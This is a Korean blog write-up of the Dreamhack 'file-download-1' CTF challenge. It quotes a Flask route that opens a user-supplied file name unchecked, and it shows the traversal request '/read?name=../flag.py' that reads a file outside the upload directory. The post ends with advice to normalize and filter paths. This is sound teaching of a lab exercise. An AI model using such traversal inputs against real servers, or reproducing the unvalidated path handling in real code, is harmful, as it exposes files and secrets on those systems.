IT/정보보안
[Dreamhack] file-download-1 문제 풀이
읽어보고서
2025. 5. 1. 01:34
반응형
💻 "드림핵의 퍼즐들은 나의 손끝에서 해체된다..."
"디지털 전장에 소환된 나는, 이제 문제를 사냥할 뿐이다."
🎯 file-download-1 문제 시작해보자!
문제 설명
File Download 취약점이 존재하는 웹 서비스입니다.
flag.py를 다운로드 받으면 플래그를 획득할 수 있습니다.
📁 인터페이스 확인
/upload로 이동하면 메모를 저장할 수 있는 UI가 존재함
업로드된 파일 목록은 / 경로에 표시됨
파일을 클릭하면 해당 내용을 확인 가능함 (/read?name=파일명)
🔍 app.py 코드 분석
@app.route('/read')
def read_memo():
filename = request.args.get('name', '')
with open(f'{UPLOAD_DIR}/{filename}', 'rb') as f:
data = f.read()
✅ 여기가 핵심
name 파라미터를 검증 없이 open()에 사용
즉, 경로를 조작하면 상위 디렉토리의 파일도 열 수 있음!
📛 디렉토리 트래버설 (Directory Traversal) 취약점 발생!
💥 공격 시나리오
1️⃣ 정상 접근 시
GET /read?name=123
→ uploads/123 열림
2️⃣ 공격 시도
GET /read?name=flag.py
→ uploads/flag.py 열려고 시도 → 없음!
3️⃣ 디렉토리 상위 접근 시도
GET /read?name=../flag.py
💥 성공적으로 상위 경로의 flag.py에 접근 완료!
경로를 조작해 상위 디렉토리 파일을 열 수 있다는 점에서 전형적인 Directory Traversal 취약점 사례였고,
서버 코드에서 사용자 입력을 직접 경로로 사용할 땐 반드시 정규화 & 필터링이 필요하다!
반응형